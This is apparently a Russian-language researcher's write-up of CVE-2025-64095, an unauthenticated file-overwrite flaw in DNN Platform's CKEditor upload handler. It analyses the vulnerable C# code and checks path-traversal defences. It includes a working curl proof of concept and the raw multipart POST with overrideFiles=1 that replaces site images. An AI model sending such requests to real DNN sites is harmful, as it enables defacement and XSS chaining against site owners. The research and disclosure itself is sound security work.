
POC недостаточного контроля доступа в DNN — загрузка изображений позволяет перезаписывать содержимое сайта
POC недостаточного контроля доступа DNN — загрузка изображений позволяет перезаписывать содержимое сайта
Я простой человек: вижу cvss:10/10 — захожу xD
Я увидел эту новую CVE-2025-64095: недостаточный контроль доступа DNN — загрузка изображений позволяет перезаписывать содержимое сайта.
Описание Неаутентифицированный пользователь может загружать и заменять существующие файлы, что позволяет портить внешний вид сайта, а в сочетании с другой проблемой — внедрять XSS-пейлоады.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Базовый балл: 10.0 КРИТИЧЕСКИЙ 🤷♂️
Однако на деле всё не так критично, поскольку нельзя загрузить веб-шелл типа ASP, ASPX и т.д. (по крайней мере, в конфигурации по умолчанию) — можно загружать только изображения и SVG. Также можно загружать/перезаписывать только существующие файлы на веб-сервере и только в определённый путь; нельзя загрузить файл даже в корневой каталог.
Поскольку все версии до 10.1.1 уязвимы, я взял DNN Platform 10.1.0 (последнюю уязвимую версию).
Дифф довольно большой; меня интересует только код, связанный с загрузкой файлов, а именно Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. Поэтому я сосредоточился на сравнении этого конкретного файла между версиями, чтобы понять, что (если вообще что-то) было исправлено в 10.1.1.
Позвольте провести вас по тому, что я нашёл и как я обнаружил уязвимость.
Когда я впервые начал сравнивать две версии, общий дифф показал 158 изменённых файлов между DNN Platform 10.1.0 и 10.1.1. Большинство изменений были просто «улучшениями» — file-scoped namespaces. Но мне нужно было узнать, исправлена ли уязвимость загрузки файлов.
Уязвимый файл находится по пути Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs — это обработчик загрузки файлов CKEditor. Это распространённая поверхность атаки для уязвимостей загрузки файлов.
Рассмотрим метод ProcessRequest в 10.1.0:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
Вот и всё. Здесь буквально нет проверки аутентификации. Любой может отправить запрос к этой конечной точке и загружать файлы — никакой проверки сессии, ничего.
Поток выглядит так:
FileUploader.ashxProcessRequestHandleMethod, который направляет к UploadFileUploadFile вызывает UploadWholeFileUploadWholeFile обрабатывает загрузку без проверки, вошёл ли пользователь в системуВся логика загрузки находится в UploadWholeFile, начиная примерно со строки 230. Покажу вам ключевые части:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
Обратите внимание: в строке 284 вызывается UserController.Instance.GetCurrentUserInfo(), чтобы получить userId, но фактически никогда не проверяется, аутентифицирован ли пользователь. Если вы не вошли в систему, метод просто возвращает null или анонимного пользователя, но загрузка всё равно продолжается.
Также обратите внимание на свойство OverrideFiles в строке 268:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
Это параметр, управляемый пользователем! Любой может установить overrideFiles=1 в своём запросе на загрузку и перезаписать существующие файлы.
Я проверил это, составив простую curl-команду:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
сырой POST-запрос
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]

Файл был успешно загружен. Я проверил это, перейдя по адресу http://mysite.dnndev.me/Portals/_default/poc.png, и действительно, он там был.
и файл размещается в каталоге \Portals_default:
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>

Я искал обход пути, чтобы переписать файлы в корневом каталоге, но защита на самом деле довольно хорошая. Смотрим:
var fileName = Path.GetFileName(file.FileName);
Она работает корректно. Path.GetFileName() автоматически удаляет любые последовательности обхода каталогов. То есть если кто-то попытается загрузить файл с именем ../../../foo, имя станет просто foo.
Код также содержит дополнительные меры защиты в "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
как видно из кода // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
Как я уже говорил, я всё же не считаю это критической уязвимостью.